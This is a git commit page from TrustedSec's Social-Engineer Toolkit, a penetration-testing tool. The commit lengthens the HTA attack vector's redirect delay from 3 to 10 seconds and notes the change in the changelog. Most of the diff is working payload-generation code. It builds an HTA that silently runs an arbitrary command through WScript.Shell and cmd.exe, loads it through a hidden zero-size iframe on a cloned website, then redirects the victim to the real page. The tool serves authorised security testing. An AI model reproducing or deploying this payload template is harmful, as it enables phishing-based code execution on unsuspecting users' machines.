fix hta attack vector timing

This commit is contained in:
TrustedSec 2016-06-22 21:21:15 -04:00
parent 57df7346f0
commit 0ae40dd91c
2 changed files with 2 additions and 1 deletions

View file

@ -3,6 +3,7 @@ version 7.2
~~~~~~~~~~~~~~~~
* fixed an issue on installer not copying SET directory properly (why was I moving a file and ... nevermind.)
* changed delay time for HTA attack vector from 3 seconds to 10 seconds to allow proper loading
~~~~~~~~~~~~~~~~
version 7.1.2

View file

@ -39,7 +39,7 @@ def gen_hta_cool_stuff():
# grab cloned website
url = fetch_template()
main1 = ("""<script>\na=new ActiveXObject("WScript.Shell");\na.run('%%windir%%\\\\System32\\\\cmd.exe /c %s', 0);window.close();\n</script>""" % (command))
main2 = ("""<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>\n<script type="text/javascript">setTimeout(function(){window.location.href="%s";}, 3000);</script>""" % url)
main2 = ("""<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>\n<script type="text/javascript">setTimeout(function(){window.location.href="%s";}, 10000);</script>""" % url)
# metasploit answer file here
filewrite = open(setdir + "/meta_config", "w")